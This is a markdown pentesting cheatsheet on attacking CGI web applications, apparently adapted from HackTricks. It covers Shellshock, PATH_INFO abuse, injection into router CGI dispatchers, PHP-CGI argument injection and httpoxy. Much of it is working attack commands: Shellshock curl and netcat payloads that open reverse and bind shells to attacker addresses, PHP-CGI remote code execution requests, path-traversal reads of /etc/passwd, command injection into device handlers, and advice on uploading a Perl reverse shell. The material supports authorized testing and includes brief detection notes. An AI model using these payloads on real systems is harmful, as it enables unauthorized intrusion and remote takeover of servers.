daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cgi.md (14108B)


      1 ---
      2 title: "CGI Pentesting"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/cgi.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/cgi.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CGI Pentesting
     14 
     15 ## Information
     16 
     17 **CGI is an interface, not a language**: real targets may expose legacy **Perl**, **sh**, **Python**, or compiled programs behind `*.cgi`. CGI defines how the server passes request metadata and body data to those programs.<sup>[[7]](#references)</sup>
     18 
     19 If an authorized test finds a file-upload path that writes into a CGI-enabled directory, preserve the interpreter line and executable permission when testing execution. For example, Kali's `/usr/share/webshells/perl/perl-reverse-shell.pl` can be adapted, uploaded with a `.cgi` name, marked executable (`chmod +x`) when the primitive permits it, and requested over HTTP. The server configuration—not the filename alone—determines whether it executes.
     20 
     21 For authorized CGI enumeration, Nikto's `-C all` option tests every CGI directory.<sup>[[10]](#references)</sup>
     22 
     23 Quick methodology:
     24 
     25 - Enumerate classic locations and extensions: `/cgi-bin/`, `/cgi-sys/`, `*.cgi`, `*.pl`, `*.sh`, `*.py`.
     26 - Fuzz how the target handles **extra path data** after the script name: `/cgi-bin/status.cgi/test`, `/cgi-bin/status.cgi//x`, encoded slashes, `;`, `.` and `..`.
     27 - If you suspect Apache-specific CGI weirdness \(source disclosure via absolute paths, local redirects, handler confusion\), check [Apache](/hacktricks/network-services-pentesting/pentesting-web/apache).
     28 - If the stack is really **FastCGI/PHP-FPM** instead of classic CGI, check [9000 - Pentesting FastCGI](/hacktricks/network-services-pentesting/9000-pentesting-fastcgi).
     29 
     30 ## **ShellShock**
     31 
     32 **Shellshock** (CVE-2014-6271 and related flaws) affected Bash's handling of function definitions imported through environment variables. CGI maps request headers into environment variables, so a vulnerable Bash-backed CGI script could execute attacker-supplied trailing commands.<sup>[[8]](#references)</sup>
     33 
     34 Exploiting this behavior may cause the **page to return an error**.
     35 
     36 You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** \(with cgi folder\) or using **nikto**.
     37 
     38 ### **Test**
     39 
     40 Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.
     41 
     42 **Nmap**
     43 
     44 ```bash
     45 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
     46 ```
     47 
     48 ## **Curl \(reflected, blind and out-of-band\)**
     49 
     50 ```bash
     51 # Reflected
     52 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
     53 # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
     54 curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
     55 # Out-Of-Band Use Cookie as alternative to User-Agent
     56 curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
     57 ```
     58 
     59 [**Shellsocker**](https://github.com/liamim/shellshocker)
     60 
     61 ```bash
     62 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
     63 ```
     64 
     65 ### Exploit
     66 
     67 ```bash
     68 #Bind Shell
     69 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
     70 #Reverse shell
     71 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
     72 #Reverse shell using curl
     73 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
     74 #Reverse shell using metasploit
     75 > use multi/http/apache_mod_cgi_bash_env_exec
     76 > set targeturi /cgi-bin/admin.cgi
     77 > set rhosts 10.1.2.11
     78 > run
     79 ```
     80 
     81 ## PATH_INFO / PATH_TRANSLATED abuse
     82 
     83 According to RFC 3875, extra path data after the CGI script path is exposed to the application as **`PATH_INFO`**, and a server may derive **`PATH_TRANSLATED`** from it.<sup>[[7]](#references)</sup> In practice, many CGI handlers either:
     84 
     85 - ignore `PATH_INFO` when they should reject it
     86 - use it as an internal router \(selecting actions or files\)
     87 - concatenate it into filesystem paths or shell commands
     88 
     89 Quick probes:
     90 
     91 ```bash
     92 curl -i http://target/cgi-bin/app.cgi/test
     93 curl -i http://target/cgi-bin/app.cgi/%2e%2e/%2e%2e/etc/passwd
     94 curl -i http://target/cgi-bin/app.cgi/.//admin
     95 curl -i http://target/cgi-bin/app.cgi/;id
     96 ```
     97 
     98 What you are looking for:
     99 
    100 - different content/auth decisions when extra path exists
    101 - file-open errors leaking translated filesystem paths
    102 - handlers that map `PATH_INFO` directly to templates, language files, firmware objects, or helper scripts
    103 
    104 If a script does **not** expect extra path data but still accepts it, treat that as a strong signal and keep fuzzing encoded separators, duplicate slashes, and dot segments.
    105 
    106 ## Centralized CGI dispatchers (single endpoint routing via selector parameters)
    107 
    108 Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.<sup>[[2]](#references)</sup>
    109 
    110 Methodology to exploit these routers:
    111 
    112 - Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
    113 - Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
    114 - Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
    115 
    116 Generic exploit shapes:
    117 
    118 ```http
    119 POST /cgi-bin/cstecgi.cgi HTTP/1.1
    120 Content-Type: application/x-www-form-urlencoded
    121 
    122 # 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
    123 topicurl=<handler>&param=-n
    124 
    125 # 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
    126 topicurl=setEasyMeshAgentCfg&agentName=;id;
    127 
    128 # 3) Validator bypass → arbitrary file write in file-touching handlers
    129 topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
    130 ```
    131 
    132 Detection and hardening:
    133 
    134 - Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
    135 - Flag parameters that begin with `-` (argv option injection attempts).
    136 - Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
    137 
    138 ## PHP + CGI argument injection = RCE
    139 
    140 ### Old PHP-CGI \(CVE-2012-1823, CVE-2012-2311\)
    141 
    142 If CGI is active and PHP is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.  
    143 To exploit this vulnerability, access a PHP file without a conventional query parameter (especially without `=`).
    144 Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**.
    145 
    146 Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request.  
    147 Example:
    148 
    149 ```bash
    150 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
    151 ```
    152 
    153 **More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup><sup>[[5]](#references)</sup><sup>[[6]](#references)</sup>
    154 
    155 ### Modern Windows PHP-CGI bypass \(CVE-2024-4577\)
    156 
    157 In June 2024, PHP-CGI argument injection came back on **Windows**. The bug abuses Windows **Best-Fit** conversion: a **soft hyphen** \(`%AD`, `0xAD`\) can be transformed into a real `-` before PHP parses arguments, bypassing the old protection from CVE-2012-1823. This has been especially relevant in **XAMPP for Windows** and other deployments where PHP is reachable through CGI handlers.<sup>[[1]](#references)</sup>
    158 
    159 Quick test:
    160 
    161 ```bash
    162 curl -i -X POST \
    163   --data "<?php phpinfo(); die(); ?>" \
    164   "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
    165 ```
    166 
    167 If the response renders `phpinfo()` or otherwise executes your body, you have code execution. Swap the body for any PHP payload:
    168 
    169 ```bash
    170 curl -i -X POST \
    171   --data "<?php system('whoami'); die(); ?>" \
    172   "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
    173 ```
    174 
    175 Notes:
    176 
    177 - The `%AD` bytes are the important part: they are the attacker-controlled "soft hyphens".
    178 - The original issue is directly reproducible with code pages 932, 936 and 950; other Windows locales still require assessment because web-server and code-page combinations differ.<sup>[[1]](#references)</sup>
    179 - `8.1.29`, `8.2.20` and `8.3.8` contained the first fix, but a later parameter-injection bypass means the complete historical fix baselines are `8.1.30`, `8.2.24` and `8.3.12`. Use a currently supported, fully updated PHP branch rather than stopping at the first fixed build.<sup>[[11]](#references)</sup>
    180 
    181 ### Post-fix quote-smuggling variant \(unusual Windows code pages\)
    182 
    183 A later variant targets installations whose Windows **ANSI code page \(ACP\) was manually pointed at an OEM code page**. On code page 437, for example, `%A8` can become `"`; Windows command-line parsing then removes the generated quote pair around `-s`, recreating an option even after the soft-hyphen fix. This setup requires an unusual registry modification, but it is useful when an apparently patched appliance still behaves as vulnerable.<sup>[[11]](#references)</sup>
    184 
    185 ```bash
    186 # Source-disclosure canary for the rare quote-smuggling variant
    187 curl -i 'http://target/index.php?%A8-s%A8'
    188 ```
    189 
    190 ### `cgi.force_redirect` header/environment collision
    191 
    192 Older PHP-CGI also accepted either `REDIRECT_STATUS` or `HTTP_REDIRECT_STATUS` as proof that the web server invoked it through a configured redirect. Because CGI transforms an attacker-supplied `Redirect-Status` header into `HTTP_REDIRECT_STATUS`, a direct request could satisfy that check and bypass `cgi.force_redirect`. This is not RCE by itself, but configurations that also derive attacker-controlled `SCRIPT_FILENAME` values could turn direct invocation into arbitrary file inclusion. The same `8.1.30`, `8.2.24` and `8.3.12` releases fixed this collision.<sup>[[12]](#references)</sup>
    193 
    194 ```bash
    195 # Compare the direct-call response with and without the colliding header
    196 curl -i 'http://target/cgi-bin/php/secretdir/script.php'
    197 curl -i -H 'Redirect-Status: 1' \
    198   'http://target/cgi-bin/php/secretdir/script.php'
    199 ```
    200 
    201 A change from PHP's `Security Alert!` response to normal script handling is the signal; verify the handler mapping and `SCRIPT_FILENAME` construction before claiming file inclusion.<sup>[[12]](#references)</sup>
    202 
    203 ## **Proxy / `HTTP_PROXY` \(httpoxy\)**
    204 
    205 CGI creates an environment variable for each HTTP header in the request. For example, `Host: web.com` becomes `HTTP_HOST=web.com`.  
    206 That also means `Proxy: http://attacker:8080` becomes **`HTTP_PROXY`**, which may collide with libraries that trust `HTTP_PROXY` as the proxy for **outgoing** requests.
    207 
    208 If the CGI application performs server-side HTTP requests during your session \(update checks, webhooks, API calls, avatar fetches, SSO helpers, etc.\), try:
    209 
    210 ```bash
    211 curl -H 'Proxy: http://ATTACKER:8080' http://target/cgi-bin/report.cgi
    212 ```
    213 
    214 If the application or one of its libraries trusts `HTTP_PROXY`, you may:
    215 
    216 - proxy the victim's outbound requests through your host
    217 - steal internal HTTP traffic, credentials or tokens
    218 - redirect internal subrequests to attacker-chosen destinations
    219 
    220 Useful notes:<sup>[[9]](#references)</sup>
    221 
    222 - This pattern is commonly known as **httpoxy**.
    223 - Historically it affected CGI-style PHP, Python CGI handlers, and Go `net/http/cgi` style deployments.
    224 - Simply unsetting `$_SERVER['HTTP_PROXY']` in PHP may be insufficient if the code or library reads from `getenv('HTTP_PROXY')`.
    225 
    226 
    227 ## References
    228 
    229 - [1] [Orange Tsai - CVE-2024-4577: Yet Another PHP RCE, Make PHP-CGI Argument Injection Great Again!](https://blog.orange.tw/posts/2024-06-cve-2024-4577-yet-another-php-rce/)
    230 - [2] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
    231 - [3] [zero-day.cz - Database - 337](https://www.zero-day.cz/database/337)
    232 - [4] [cve.mitre.org - cve-2012-1823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)
    233 - [5] [cve.mitre.org - cve-2012-2311](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)
    234 - [6] [W3rni0/HacktivityCon_CTF_2020 - CTF Writeup Example](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)
    235 - [7] [RFC 3875 – The Common Gateway Interface (CGI) Version 1.1](https://www.rfc-editor.org/rfc/rfc3875)
    236 - [8] [NVD – CVE-2014-6271](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)
    237 - [9] [httpoxy – A CGI application vulnerability](https://httpoxy.org/)
    238 - [10] [Nikto documentation](https://github.com/sullo/nikto/wiki)
    239 - [11] [PHP security advisory – PHP-CGI parameter injection bypass](https://github.com/php/php-src/security/advisories/GHSA-p99j-rfp4-xqvq)
    240 - [12] [PHP security advisory – `cgi.force_redirect` environment-variable collision](https://github.com/php/php-src/security/advisories/GHSA-94p6-54jq-9mwp)